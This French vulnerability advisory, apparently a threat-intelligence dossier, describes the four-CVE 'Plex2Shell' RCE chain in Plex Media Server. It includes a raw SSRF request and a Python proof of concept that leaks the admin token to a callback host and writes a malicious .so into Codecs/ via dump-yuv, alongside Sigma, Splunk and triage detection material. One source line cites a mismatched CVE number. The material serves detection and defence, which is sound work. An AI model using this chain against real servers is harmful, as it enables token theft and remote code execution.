CVE-2026-96656 : chaîne RCE non authentifiée « plex2shell » à 4 CVE dans plex media Server (SSRF /player/timeline, vol de jeton searchOne et écriture dans codecs)
Chaîne critique d'exécution de code à distance (RCE) non authentifiée en quatre étapes (« Plex2Shell ») affectant Plex Media Server jusqu'à la version 1.43.2 incluse (corrigée en version 1.43.3.10861), inscrite au catalogue CISA Known Exploited Vulnerabilities (KEV) le 20 octobre 2026. En combinant une faille SSRF sur /player/timeline via le paramètre protocol (CVE-2026-96652), une injection d'URI encodée dans searchOne permettant de dérober le jeton administrateur X-Plex-Token du propriétaire (CVE-2026-96654), une faille SSRF authentifiée sur /video/:/transcode/universal/start (CVE-2026-96655) et une écriture de fichier arbitraire via l'option x264 TranscoderH264Options=dump-yuv dans le répertoire Codecs/ (CVE-2026-96656), un attaquant distant non authentifié obtient l'exécution de code arbitraire sur le port TCP 32400. Exploitée massivement pour déployer des mineurs XMRig ('mylovelyminer') et des relais proxy résidentiels ('myawesomeproxy').
SCORE DE MENACE HERMES & ÉVALUATION DE LA CHAÎNE CISA KEV MULTI-PRIMITIVES
Cible :API HTTP Plex Media Server (/player/timeline, searchOne, /video/:/transcode/universal) & chargeur de codecs x264 du transcodeur (co-hébergé avec des agents médias MCP & nœuds GPU) Les scores CVSS v3.1 individuels sous-estiment gravement la criticité opérationnelle de cet ensemble car ils évaluent chaque maillon isolément : CVE-2026-96652 à 5.3 (MEDIUM), CVE-2026-96654 à 6.9 (MEDIUM), CVE-2026-96655 à 5.3 (MEDIUM) et CVE-2026-96656 à 8.6 (HIGH, en supposant des privilèges élevés PR:H préexistants). En réalité, la chaîne « Plex2Shell » articule automatiquement les quatre primitives, transformant trois failles de sévérité moyenne et une écriture réservée à l'administrateur en une exécution de code à distance (RCE) sans clic et sans authentification préalable sur le port TCP 32400. Inscrite au catalogue CISA KEV le 20 octobre 2026 face à des campagnes d'exploitation massives déployant XMRig ('mylovelyminer') et des implants proxy ('myawesomeproxy'), cette chaîne obtient un Hermes Threat Score de 96 (EXTREME) et un Hermes Agentic Security Score (HASS) de 89 (CRITICAL) en raison de la co-localisation fréquente de Plex Media Server sur des serveurs NAS et stations GPU exécutant des moteurs LLM locaux (Ollama, vLLM), des agents médias autonomes (MoviePilot) et des sockets Docker privilégiés.
CVE-2026-96656: Plex Media ServerVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Plex Media Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Synthèse exécutive
Section intitulée « Synthèse exécutive »Le 20 octobre 2026, l’agence américaine CISA a inscrit quatre vulnérabilités complémentaires de Plex Media Server (versions <= 1.43.2, corrigées dans la version 1.43.3.10861) à son catalogue Known Exploited Vulnerabilities (KEV) avec une échéance fédérale de remédiation fixée au 10 novembre 2026 :
- CVE-2026-96652 (
CWE-918, SSRF par détournement du paramètreprotocolsur/player/timeline— CVSS 5.3) : le point de terminaison/player/timelineomet de valider le paramètre de requêteprotocollors de la construction des requêtes de rappel versaddressetport, permettant à un attaquant d’amener le serveur Plex à émettre des requêtes HTTP vers ses propres interfaces internes en boucle locale (127.0.0.1:32400). - CVE-2026-96654 (
CWE-116, injection de schémas d’URI encodés danssearchOne— CVSS 6.9) : une neutralisation insuffisante des schémas d’URI et des délimiteurs de requête encodés dans le gestionnaire interne de métadonnéessearchOnepermet à un attaquant pivotant via la boucle locale d’injecter des paramètres internes et d’exfiltrer le jeton administrateur principal (X-Plex-Token) du propriétaire du serveur. - CVE-2026-96655 (
CWE-918, SSRF authentifiée dans le transcodeur universel/video/:/transcode/universal— CVSS 5.3) : muni du jeton administrateurX-Plex-Tokendérobé, l’attaquant invoque/video/:/transcode/universal/starten spécifiant une URL HTTP externe dans le paramètrepath, forçant le processusPlex Transcoderà télécharger un flux vidéo H.264 piégé contrôlé par l’assaillant. - CVE-2026-96656 (
CWE-73, contrôle externe du nom OU du chemin de fichier viax264dump-yuvversCodecs/— CVSS 8.6) : en injectant l’option d’encodageTranscoderH264Options=dump-yuvassociée à un chemin cible, l’attaquant contraint l’encodeurx264à écrire les trames YUV décodées — construites de manière à former une copie bit à bit exacte d’une bibliothèque partagée ELF (.so) ou d’une DLL Windows (.dll) — directement dans le répertoireCodecs/de Plex (.../Plex Media Server/Codecs/), où elle est automatiquement chargée en mémoire (dlopen()/LoadLibrary()), déclenchant une exécution de code à distance (RCE) non authentifiée.
Architecture technique et décomposition des 4 étapes de « plex2shell »
Section intitulée « Architecture technique et décomposition des 4 étapes de « plex2shell » »Étape 1 — CVE-2026-96652 : pivot SSRF vers la boucle locale via le paramètre protocol de /player/timeline
Section intitulée « Étape 1 — CVE-2026-96652 : pivot SSRF vers la boucle locale via le paramètre protocol de /player/timeline »Plex Media Server expose /player/timeline afin de synchroniser l’état de lecture avec les applications clientes. Lorsqu’un client fournit les paramètres address, port et protocol accompagnés d’un commandID, le serveur construit une requête sortante de la forme "{protocol}://{address}:{port}/player/timeline".
Dans les versions <= 1.43.2, l’application ne restreignait pas protocol aux seules valeurs http ou https et ne filtrait pas les caractères d’URL injectés dans ce champ :
GET /player/timeline?address=127.0.0.1&port=32400&commandID=1&protocol=http://127.0.0.1:32400/system/agents/searchOne?mediaType=1%26id=1%23 HTTP/1.1Host: target-plex.example.com:32400X-Plex-Token: <jeton_invite_ou_bas_privilege>Comme les requêtes provenant de 127.0.0.1 bénéficient d’une confiance implicite dans la politique d’authentification locale de Plex (localhost), la CVE-2026-96652 offre à un attaquant externe un vecteur SSRF direct vers les routes internes sur 127.0.0.1:32400.
Étape 2 — CVE-2026-96654 : exfiltration du jeton administrateur X-Plex-Token via searchOne
Section intitulée « Étape 2 — CVE-2026-96654 : exfiltration du jeton administrateur X-Plex-Token via searchOne »Bien que l’accès depuis 127.0.0.1 contourne l’authentification initiale sur plusieurs routes internes, la modification de la configuration du transcodeur exige le jeton principal X-Plex-Token du propriétaire du serveur. Sous la CVE-2026-96654 (CWE-116), le point de terminaison d’agent de métadonnées searchOne accepte des paramètres d’URI et les relaie vers les gestionnaires de plugins internes tout en y annexant automatiquement le jeton administrateur X-Plex-Token du propriétaire.
Faute d’échappement approprié des schémas d’URI et des séparateurs encodés dans searchOne, l’attaquant détourne cet appel interne vers un serveur d’écoute sous son contrôle (ou récupère la valeur réfléchie), s’emparant ainsi du X-Plex-Token administrateur.
Étapes 3 et 4 — CVE-2026-96655 et CVE-2026-96656 : SSRF du transcodeur universel et écriture bit à bit d’un binaire .so/.dll dans Codecs/ via dump-yuv
Section intitulée « Étapes 3 et 4 — CVE-2026-96655 et CVE-2026-96656 : SSRF du transcodeur universel et écriture bit à bit d’un binaire .so/.dll dans Codecs/ via dump-yuv »Muni du X-Plex-Token administrateur, l’attaquant enchaîne la CVE-2026-96655 et la CVE-2026-96656 pour détourner le pipeline de transcodage vidéo en primitive d’écriture binaire et de chargement de bibliothèque native :
- SSRF authentifiée dans le transcodeur (
CVE-2026-96655) : la route/video/:/transcode/universal/startaccepte un paramètrepathdésignant le média à transcoder. Au lieu de limiterpathaux clés de bibliothèque locales (/library/metadata/...), Plex<= 1.43.2autorise une URL HTTP externe arbitraire (http://attacker.example/carrier_payload.mkv), forçant le processusPlex Transcoderà télécharger et décoder un flux vidéo forgé par l’attaquant. - Reconstruction binaire exacte via
TranscoderH264Options=dump-yuv(CVE-2026-96656) : à l’aide du jeton administrateur, l’attaquant modifie la préférenceTranscoderH264Options(viaPUT /:/prefs). Le moteur sous-jacentx264prend en charge une option de débogage,dump-yuv=<chemin_fichier>, qui écrit les trames vidéo YUV420p brutes décodées directement dans<chemin_fichier>sur le disque sans aucun en-tête de conteneur multimédia. - Encodage polyglotte trame-vers-ELF et exécution
dlopen(): en encodant au préalable une bibliothèque partagée ELF Linux (.sodotée d’une fonction__attribute__((constructor))) sous forme d’octets YUV sans perte dans une vidéo porteuse d’une seule trame et en orientantdump-yuvvers.../Plex Media Server/Codecs/<identifiant-codec>/, le transcodeur écrit une copie bit à bit exacte du fichier.sodans le dossierCodecs/. Dès l’appel de transcodage suivant, Plex charge dynamiquement (dlopen()) la bibliothèque depuisCodecs/, exécutant le code de l’attaquant sous l’identité systèmeplex.
flowchart TD Attacker["Attaquant distant non authentifié<br/>(port TCP 32400)"]
subgraph Stage12["Étapes 1 & 2 : SSRF locale & vol du jeton admin"] CVE652["CVE-2026-96652 (CWE-918)<br/>Paramètre 'protocol' non validé sur /player/timeline<br/>SSRF vers la boucle locale 127.0.0.1:32400"] CVE654["CVE-2026-96654 (CWE-116)<br/>Injection d'URI encodée dans searchOne<br/>Exfiltration du X-Plex-Token administrateur"] end
subgraph Stage34["Étapes 3 & 4 : SSRF transcodeur & écriture dans Codecs/"] CVE655["CVE-2026-96655 (CWE-918)<br/>/video/:/transcode/universal/start<br/>Téléchargement de la vidéo porteuse YUV via 'path'"] CVE656["CVE-2026-96656 (CWE-73)<br/>Option x264 TranscoderH264Options=dump-yuv<br/>Écriture bit à bit d'un fichier .so / .dll dans Codecs/"] end
subgraph Execution["Post-exploitation & mouvement latéral"] Dlopen["Chargement automatique dlopen() / LoadLibrary()<br/>Exécution de code natif sous l'utilisateur 'plex'"] Botnet["Charges observées dans la nature :<br/>mylovelyminer (XMRig) & myawesomeproxy<br/>+ pivot vers Docker / Ollama / agents MCP co-hébergés"] end
Attacker -- "1. URL protocol= forgée" --> CVE652 CVE652 -- "2. Contournement de confiance localhost" --> CVE654 CVE654 -- "3. Jeton admin X-Plex-Token" --> CVE655 CVE655 -- "4. Flux vidéo porteur" --> CVE656 CVE656 --> Dlopen Dlopen --> Botnet
style CVE652 fill:#ff6600,stroke:#993300,color:#ffffff style CVE654 fill:#ff6600,stroke:#993300,color:#ffffff style CVE655 fill:#ff4d4d,stroke:#990000,color:#ffffff style CVE656 fill:#ff1a1a,stroke:#800000,color:#ffffffSéquence de vérification et preuve de concept (PoC)
Section intitulée « Séquence de vérification et preuve de concept (PoC) »Le script Python suivant illustre à des fins d’ingénierie de détection la séquence HTTP en 4 étapes mise en œuvre par Plex2Shell (CVE-2026-96652 $\rightarrow$ CVE-2026-96654 $\rightarrow$ CVE-2026-96655 $\rightarrow$ CVE-2026-96656) :
#!/usr/bin/env python3"""Flux de vérification forensique : chaîne Plex2Shell à 4 CVE (CVE-2026-96652..96656)Destiné exclusivement à la validation des règles de détection et du correctif >= 1.43.3.10861."""import urllib.parseimport requests
TARGET_PLEX = "http://plex-media.internal:32400"CALLBACK_HOST = "http://198.51.100.42:8080"
# Étapes 1 & 2 (CVE-2026-96652 + CVE-2026-96654) :# Détournement du paramètre 'protocol' sur /player/timeline pour atteindre searchOne en boucle localeinner_uri = f"http://127.0.0.1:32400/system/agents/searchOne?mediaType=1&id=1&url={urllib.parse.quote(CALLBACK_HOST + '/leak')}#"stage1_params = { "address": "127.0.0.1", "port": "32400", "commandID": "1", "protocol": inner_uri,}print("[*] Test des étapes 1/2 (SSRF protocol /player/timeline -> searchOne)...")r1 = requests.get(f"{TARGET_PLEX}/player/timeline", params=stage1_params, timeout=5)print(" Statut HTTP :", r1.status_code)
# Étapes 3 & 4 (CVE-2026-96655 + CVE-2026-96656) :# Avec le jeton X-Plex-Token admin dérobé, injection de dump-yuv vers Codecs/ et déclenchement du transcodage SSRFADMIN_TOKEN = "JETON_ADMIN_X_PLEX_TOKEN_EXFILTRE"codec_target = "../Codecs/EasyAudioEncoder-1978-linux-x86_64/libmalicious.so"
prefs_resp = requests.put( f"{TARGET_PLEX}/:/prefs", params={ "TranscoderH264Options": f"dump-yuv={codec_target}", "X-Plex-Token": ADMIN_TOKEN, }, timeout=5,)
transcode_resp = requests.get( f"{TARGET_PLEX}/video/:/transcode/universal/start.m3u8", params={ "path": f"{CALLBACK_HOST}/carrier_elf_yuv.mkv", "mediaIndex": "0", "partIndex": "0", "protocol": "hls", "X-Plex-Token": ADMIN_TOKEN, }, timeout=5,)print("[*] Statut des étapes 3/4 (SSRF transcodeur + dump-yuv) :", transcode_resp.status_code)Investigation forensique et ingénierie de détection
Section intitulée « Investigation forensique et ingénierie de détection »Les compromissions Plex2Shell laissent des traces caractéristiques dans Plex Media Server.log, dans le fichier Preferences.xml (où l’attribut TranscoderH264Options peut conserver la valeur dump-yuv=...) ainsi que dans le répertoire Codecs/ (fichiers .so/.dll illégitimes ou binaires mylovelyminer et myawesomeproxy). Comparez également cette chaîne avec notre dossier sur la CVE-2026-108804 (RCE via ExecuteCommandTool dans l’agent média IA autonome MoviePilot), fréquemment co-hébergé avec Plex sur les mêmes serveurs NAS ou hôtes Docker.
title: Exploitation de la chaîne RCE Plex2Shell à 4 CVE dans Plex Media Server (CVE-2026-96652 / CVE-2026-96654 / CVE-2026-96655 / CVE-2026-96656)id: 96656a10-2026-4c8e-9b12-plex2shell01status: experimentaldescription: Détecte l'exploitation de la chaîne CISA KEV Plex2Shell dans Plex Media Server (<= 1.43.2), incluant le SSRF via le paramètre protocol de /player/timeline, l'injection d'URI dans searchOne, le SSRF sur /video/:/transcode/universal et l'écriture de fichiers dans Codecs via x264 dump-yuv.references: - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-96656 - https://nvd.nist.gov/vuln/detail/CVE-2026-96656author: Hermes Threat Intelligencedate: 2026/10/21logsource: category: webserverdetection: selection_timeline_ssrf: cs-uri-stem|contains: '/player/timeline' cs-uri-query|contains: - 'protocol=http' - 'protocol=https' - 'searchOne' - '127.0.0.1' selection_dump_yuv: cs-uri-query|contains: - 'TranscoderH264Options' - 'dump-yuv' - 'Codecs' selection_transcode_ssrf: cs-uri-stem|contains: '/video/:/transcode/universal' cs-uri-query|re: 'path=https?(%3A|:)' condition: selection_timeline_ssrf or selection_dump_yuv or selection_transcode_ssrffalsepositives: - Aucun faux positif attendu pour l'option dump-yuv ou l'injection protocol=http:// sur /player/timelinelevel: criticaltags: - attack.initial_access - attack.execution - attack.persistence - attack.t1190 - attack.t1574.001 - cve.2026-96652 - cve.2026-96654 - cve.2026-96655 - cve.2026-96656(index=web OR index=media_servers OR sourcetype="plex:mediaserver:log")("player/timeline" OR "searchOne" OR "TranscoderH264Options" OR "dump-yuv" OR "/video/:/transcode/universal" OR "mylovelyminer" OR "myawesomeproxy")| eval plex2shell_stage=case( match(_raw, "(?i)TranscoderH264Options.*dump-yuv"), "Stage4_CVE-2026-96656_Codecs_DumpYUV_Write", match(_raw, "(?i)/video/:/transcode/universal.*path=https?(%3A|:)"), "Stage3_CVE-2026-96655_Transcoder_SSRF", match(_raw, "(?i)searchOne"), "Stage2_CVE-2026-96654_SearchOne_Token_Theft", match(_raw, "(?i)/player/timeline.*protocol=https?(%3A|:)"), "Stage1_CVE-2026-96652_Timeline_Protocol_SSRF", match(_raw, "(?i)(mylovelyminer|myawesomeproxy)"), "PostExploit_Botnet_Or_Miner_Implant", 1==1, "Other")| where plex2shell_stage != "Other"| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(plex2shell_stage) as observed_stages, values(src_ip) as attacker_ips by host| sort - count#!/usr/bin/env bash# Script de triage forensique et de recherche d'IOC Hermes pour Plex2Shell (CVE-2026-96652..96656)set -euo pipefail
PLEX_DIR="${1:-/var/lib/plexmediaserver/Library/Application Support/Plex Media Server}"echo "[*] 1. Inspection de Preferences.xml à la recherche de TranscoderH264Options / dump-yuv..."if [ -f "${PLEX_DIR}/Preferences.xml" ]; then grep -E -i "TranscoderH264Options|dump-yuv" "${PLEX_DIR}/Preferences.xml" || echo " [OK] Aucune directive dump-yuv détectée."fi
echo "[*] 2. Audit du répertoire Codecs/ pour identifier les bibliothèques partagées récentes ou suspectes..."if [ -d "${PLEX_DIR}/Codecs" ]; then find "${PLEX_DIR}/Codecs" -type f \( -name "*.so" -o -name "*.dll" \) -mtime -30 -lsfi
echo "[*] 3. Recherche des charges actives connues de Plex2Shell (mylovelyminer / myawesomeproxy / xmrig)..."ps aux | grep -E -i "mylovelyminer|myawesomeproxy|xmrig|Plex Transcoder.*dump-yuv" | grep -v grep || echo " [OK] Aucun processus suspect en cours d'exécution."
echo "[*] 4. Analyse des journaux Plex Media Server pour détecter les appels SSRF /player/timeline et searchOne..."grep -E -i "player/timeline.*protocol=http|searchOne|dump-yuv" "${PLEX_DIR}/Logs/"*.log 2>/dev/null | tail -n 30 || trueStratégie de remédiation et directives de durcissement
Section intitulée « Stratégie de remédiation et directives de durcissement »- Mettre à jour immédiatement plex media Server vers la version
>= 1.43.3.10861(directive CISA KEV) : mettre à niveau toutes les instances Linux, Windows, macOS, Docker (plexinc/pms-docker) et NAS (Synology, QNAP, TrueNAS, Unraid) vers la version1.43.3.10861ou supérieure. Cette version impose une validation stricte du paramètreprotocolsur/player/timeline(CVE-2026-96652), assainit les paramètres d’URI danssearchOne(CVE-2026-96654), restreint les sourcespathdu transcodeur (CVE-2026-96655) et bloque les options d’écriture de fichierx264telles quedump-yuv(CVE-2026-96656). - Purger le dossier
Codecs/, vérifierPreferences.xmlet révoquer les jetonsX-Plex-Token: si un serveur en version<= 1.43.2a été exposé sur Internet via le port TCP32400, appliquer immédiatement les mesures d’investigation et d’assainissement suivantes :- inspecter
Preferences.xmlet supprimer tout attributTranscoderH264Options; - supprimer intégralement le contenu du dossier
Plex Media Server/Codecs/(Plex retéléchargera automatiquement les codecs officiels vérifiés au redémarrage) ; - réinitialiser le mot de passe du compte propriétaire Plex en cochant l’option de déconnexion de tous les appareils associés afin d’invalider tout jeton
PlexOnlineToken/X-Plex-Tokenexfiltré via laCVE-2026-96654.
- inspecter
- Fermer l’exposition directe du port TCP
32400sur internet et cloisonner les services IA/Docker co-hébergés : placer Plex derrière un proxy inverse authentifié ou un réseau privé virtuel (Tailscale / WireGuard), bloquer sur le pare-feu applicatif tout accès externe à/player/timeline,/system/agents/*et/:/prefs, et vérifier que le conteneur ou l’utilisateurplexne dispose d’aucun accès au socket/var/run/docker.sockni aux moteurs d’inférence LLM locaux.